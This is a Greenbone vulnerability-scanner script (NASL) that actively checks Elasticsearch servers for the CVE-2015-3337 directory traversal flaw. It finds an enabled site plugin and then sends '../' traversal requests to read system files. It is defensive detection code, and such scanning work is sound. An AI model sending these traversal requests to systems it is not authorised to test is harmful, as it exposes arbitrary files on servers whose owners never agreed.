Elastic Elasticsearch < 1.4.5, 1.5.x < 1.5.2 Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:elastic:elasticsearch";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105265");
  script_version("2025-09-03T08:26:15+0000");
  script_tag(name:"last_modification", value:"2025-09-03 08:26:15 +0000 (Wed, 03 Sep 2025)");
  script_tag(name:"creation_date", value:"2015-05-05 15:11:20 +0200 (Tue, 05 May 2015)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2015-3337");
  script_name("Elastic Elasticsearch < 1.4.5, 1.5.x < 1.5.2 Directory Traversal Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("gb_elastic_elasticsearch_consolidation.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 9200);
  script_mandatory_keys("elastic/elasticsearch/http/detected");

  script_xref(name:"URL", value:"https://www.elastic.co/blog/elasticsearch-1-5-2-and-1-4-5-released");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/37054");

  script_tag(name:"summary", value:"Elastic Elasticsearch is prone to a directory traversal
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"The flaw allows remote attackers to read arbitrary files.");

  script_tag(name:"affected", value:"Elastic Elasticsearch versions prior to 1.4.5 and 1.5.x prior
  to 1.5.2 when a site plugin is enabled.");

  script_tag(name:"solution", value:"Update to version 1.4.5, 1.5.2 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"exploit");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if( isnull( port = get_app_port( cpe:CPE, service:"www" ) ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

files = traversal_files();
plugins = make_list( "test", "kopf", "HQ", "marvel", "bigdesk", "head", "paramedic", "elasticsearch", "git", "jboss", "log", "tomcat", "wiki" );

foreach plugin( plugins ) {
  url = "/_plugin/" + plugin + "/";
  req = http_get( item:url, port:port );
  buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  if( buf =~ "^HTTP/1\.[01] 200" ) {
    check_plugin = plugin;
    break;
  }
}

if( check_plugin ) {
  foreach file( keys( files ) ) {
    url = "/_plugin/" + check_plugin + "/../../../../../../" + files[file];
    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );